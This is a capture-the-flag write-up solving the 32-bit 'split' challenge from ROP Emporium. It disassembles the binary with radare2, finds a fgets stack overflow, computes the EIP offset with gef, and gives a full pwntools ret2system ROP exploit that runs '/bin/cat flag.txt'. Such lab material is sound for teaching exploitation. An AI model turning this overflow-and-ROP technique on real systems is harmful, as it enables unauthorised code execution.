ROP is a technique used to bypass the non-executable stack while using the available gadgets from the associated binaries i.e. opcodes ending with ret
. See “tools”.
split
-32bit binary from ROP Emporium is used to demonstrate the ROP technique.
d4mianwayne@oracle:~/Pwning/fun$ checksec split32
[*] '/home/d4mianwayne/Pwning/fun/split32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Partial
gef➤
It has NX
enabled i.e. no shellcode execution, so we will use Return Oriented Programming technique to get a shell. Let’s reverse engineer it first:-
Using radare2
to disassemble the binary and then checking the functions:-
d4mianwayne@oracle:~/Pwning/fun$ r2 -AAAAA split32
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[0x08048480]> afl
0x08048000 6 418 -> 423 fcn.eip
0x080481a2 32 577 -> 587 fcn.080481a2
0x080483c0 3 35 sym._init
0x080483e3 1 25 fcn.080483e3
0x080483fc 1 4 sub.printf_12_3fc
0x08048400 1 6 sym.imp.printf
0x08048410 1 6 sym.imp.fgets
0x08048420 1 6 sym.imp.puts
0x08048430 1 6 sym.imp.system
0x08048440 1 6 sym.imp.__libc_start_main
0x08048450 1 6 sym.imp.setvbuf
0x08048460 1 6 sym.imp.memset
0x08048470 1 6 sub.__gmon_start___252_470
0x08048480 1 33 entry0
0x080484b0 1 4 sym.__x86.get_pc_thunk.bx
0x080484c0 4 43 sym.deregister_tm_clones
0x080484f0 4 53 sym.register_tm_clones
0x08048530 3 30 sym.__do_global_dtors_aux
0x08048550 4 43 -> 40 entry1.init
0x0804857b 1 123 sym.main
0x080485f6 1 83 sym.pwnme
0x08048649 1 25 sym.usefulFunction
0x08048670 4 93 sym.__libc_csu_init
0x080486d0 1 2 sym.__libc_csu_fini
0x080486d4 1 20 sym._fini
[0x08048480]>
Here we can use we have three functions of interest, one being main
, second being sym.pwnme
and remaining one being sym.usefulFunction
. Let’s check the disassembly of these functions and then see what can we do:-
[0x08048480]> pdf @main
;-- main:
/ (fcn) sym.main 123
| sym.main ();
| ; var int local_4h_2 @ ebp-0x4
| ; var int local_4h @ esp+0x4
| ; DATA XREF from 0x08048497 (entry0)
| 0x0804857b 8d4c2404 lea ecx, dword [local_4h] ; 4
| 0x0804857f 83e4f0 and esp, 0xfffffff0
| 0x08048582 ff71fc push dword [ecx - 4]
| 0x08048585 55 push ebp
| 0x08048586 89e5 mov ebp, esp
| 0x08048588 51 push ecx
| 0x08048589 83ec04 sub esp, 4
| 0x0804858c a184a00408 mov eax, dword [obj.stdout] ; [0x804a084:4]=0
| 0x08048591 6a00 push 0
| 0x08048593 6a02 push 2 ; 2
| 0x08048595 6a00 push 0 ; size_t size
| 0x08048597 50 push eax ; int mode
| 0x08048598 e8b3feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
| 0x0804859d 83c410 add esp, 0x10
| 0x080485a0 a160a00408 mov eax, dword [obj.stderr] ; [0x804a060:4]=0
| 0x080485a5 6a00 push 0
| 0x080485a7 6a02 push 2 ; 2
| 0x080485a9 6a00 push 0 ; size_t size
| 0x080485ab 50 push eax ; int mode
| 0x080485ac e89ffeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
| 0x080485b1 83c410 add esp, 0x10
| 0x080485b4 83ec0c sub esp, 0xc
| 0x080485b7 68f0860408 push str.split_by_ROP_Emporium ; 0x80486f0 ; "split by ROP Emporium" ; const char * s
| 0x080485bc e85ffeffff call sym.imp.puts ; int puts(const char *s)
| 0x080485c1 83c410 add esp, 0x10
| 0x080485c4 83ec0c sub esp, 0xc
| 0x080485c7 6806870408 push str.32bits ; 0x8048706 ; "32bits\n" ; const char * s
| 0x080485cc e84ffeffff call sym.imp.puts ; int puts(const char *s)
| 0x080485d1 83c410 add esp, 0x10
| 0x080485d4 e81d000000 call sym.pwnme
| 0x080485d9 83ec0c sub esp, 0xc
| 0x080485dc 680e870408 push str.Exiting ; 0x804870e ; "\nExiting" ; const char * s
| 0x080485e1 e83afeffff call sym.imp.puts ; int puts(const char *s)
| 0x080485e6 83c410 add esp, 0x10
| 0x080485e9 b800000000 mov eax, 0
| 0x080485ee 8b4dfc mov ecx, dword [local_4h_2]
| 0x080485f1 c9 leave
| 0x080485f2 8d61fc lea esp, dword [ecx - 4]
So, here main
is setting up the buffer and calling sym.pwnme
, let’s check the disassembly of it:-
[0x08048480]> pdf @sym.pwnme
/ (fcn) sym.pwnme 83
| sym.pwnme ();
| ; var int local_28h @ ebp-0x28
| ; CALL XREF from 0x080485d4 (sym.main)
| 0x080485f6 55 push ebp
| 0x080485f7 89e5 mov ebp, esp
| 0x080485f9 83ec28 sub esp, 0x28 ; '('
| 0x080485fc 83ec04 sub esp, 4
| 0x080485ff 6a20 push 0x20 ; 32
| 0x08048601 6a00 push 0 ; size_t n
| 0x08048603 8d45d8 lea eax, dword [local_28h]
| 0x08048606 50 push eax ; int c
| 0x08048607 e854feffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| 0x0804860c 83c410 add esp, 0x10
| 0x0804860f 83ec0c sub esp, 0xc
| 0x08048612 6818870408 push str.Contriving_a_reason_to_ask_user_for_data... ; 0x8048718 ; "Contriving a reason to ask user for data..." ; const char * s
| 0x08048617 e804feffff call sym.imp.puts ; int puts(const char *s)
| 0x0804861c 83c410 add esp, 0x10
| 0x0804861f 83ec0c sub esp, 0xc
| 0x08048622 6844870408 push 0x8048744 ; const char * format
| 0x08048627 e8d4fdffff call sym.imp.printf ; int printf(const char *format)
| 0x0804862c 83c410 add esp, 0x10
| 0x0804862f a180a00408 mov eax, dword [obj.stdin] ; [0x804a080:4]=0
| 0x08048634 83ec04 sub esp, 4
| 0x08048637 50 push eax
| 0x08048638 6a60 push 0x60 ; '`' ; 96
| 0x0804863a 8d45d8 lea eax, dword [local_28h]
| 0x0804863d 50 push eax ; char *s
| 0x0804863e e8cdfdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| 0x08048643 83c410 add esp, 0x10
| 0x08048646 90 nop
| 0x08048647 c9 leave
\ 0x08048648 c3 ret
[0x08048480]>
Here, it is calling fgets
which is taking 96 bytes which is more than the buffer allocated for the input, hence a buffer overflow vulnerability.
[0x08048480]> pdf @sym.usefulFunction
/ (fcn) sym.usefulFunction 25
| sym.usefulFunction ();
| 0x08048649 55 push ebp
| 0x0804864a 89e5 mov ebp, esp
| 0x0804864c 83ec08 sub esp, 8
| 0x0804864f 83ec0c sub esp, 0xc
| 0x08048652 6847870408 push str.bin_ls ; 0x8048747 ; "/bin/ls" ; const char * string
| 0x08048657 e8d4fdffff call sym.imp.system ; int system(const char *string)
| 0x0804865c 83c410 add esp, 0x10
| 0x0804865f 90 nop
| 0x08048660 c9 leave
\ 0x08048661 c3 ret
This function seems to be just doing system("/bin/ls")
when called.
Let’s check if this binary has any useful strings, let’s check it in radare
:-
[0x08048480]> izzq~bin
0x8048747 8 7 /bin/ls
0x804a030 18 17 /bin/cat flag.txt
izzq~
is used to find the address of a the strings which matches the pattern given.
Now, we know it has a buffer overflow vulnerability and it contains system
function which makes things easier. Secondly, it has a string /bin/cat flag.txt
. So, which means we can do:-
--------------------------------------------------------------
| buffer to EIP | system@plt | dummy_ret | useful_string |
--------------------------------------------------------------
Like, in 64bit we need to register to pass arguments, the 32bit calling convention differs, which means the function take parameters from stack. Due to this we have appended the useful string at the end of payload, which would be pushe dt stack and when system is called, it’ll look for a string, hence executing the command.
Using gdb
-‘s extension plugin named gef
we will create a cyclic buffer which will given as input, making it easier to get the offset.
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤ r
Starting program: /home/d4mianwayne/Pwning/fun/split32
split by ROP Emporium
32bits
Contriving a reason to ask user for data...
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
-- snip --
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6161616c
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "split32", stopped 0x6161616c in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x6161616c in ?? ()
gef➤ pattern search laaa
[+] Searching 'laaa'
[+] Found at offset 41 (little-endian search) likely
[+] Found at offset 44 (big-endian search)
gef➤ x/s $eip
0x6161616c: <error: Cannot access memory at address 0x6161616c>
gef➤ pattern search 0x6161616c
[+] Searching '0x6161616c'
[+] Found at offset 44 (little-endian search) likely
[+] Found at offset 41 (big-endian search)
The payload, as discussed earlier would be:-
--------------------------------------------------------------
| buffer to EIP | system@plt | dummy_ret | useful_string |
--------------------------------------------------------------
Then in python, it’ll look like:-
Let’s craft the exploit:-
payload = b"A"*44
payload += p32(0x08048430) # Address of `system`
payload += p32(0xdeadbeef) # dummy `ret`
payload += p32(0x804a030) # Address of `/bin/cat flag.txt`
Now, our exploit looks like:-
from pwn import *
p = process("./split32") # Starting process
payload = b"A"*44
payload += p32(0x08048430) # Address of `system`
payload += p32(0xdeadbeef) # dummy `ret`
payload += p32(0x804a030) # Address of `/bin/cat flag.txt`
p.sendlineafter(b"> ", payload) # Sending the payload after `> `
p.interactive() # Switch to interactive()
Running the exploit:-
d4mianwayne@oracle:~/Pwning/fun$ python3 split32.py
[+] Starting local process './split32': pid 5333
[*] Switching to interactive mode
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
[*] Process './split32' stopped with exit code -11 (SIGSEGV) (pid 5333)
[*] Got EOF while sending in interactive
d4mianwayne@oracle:~/Pwning/fun$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
Done!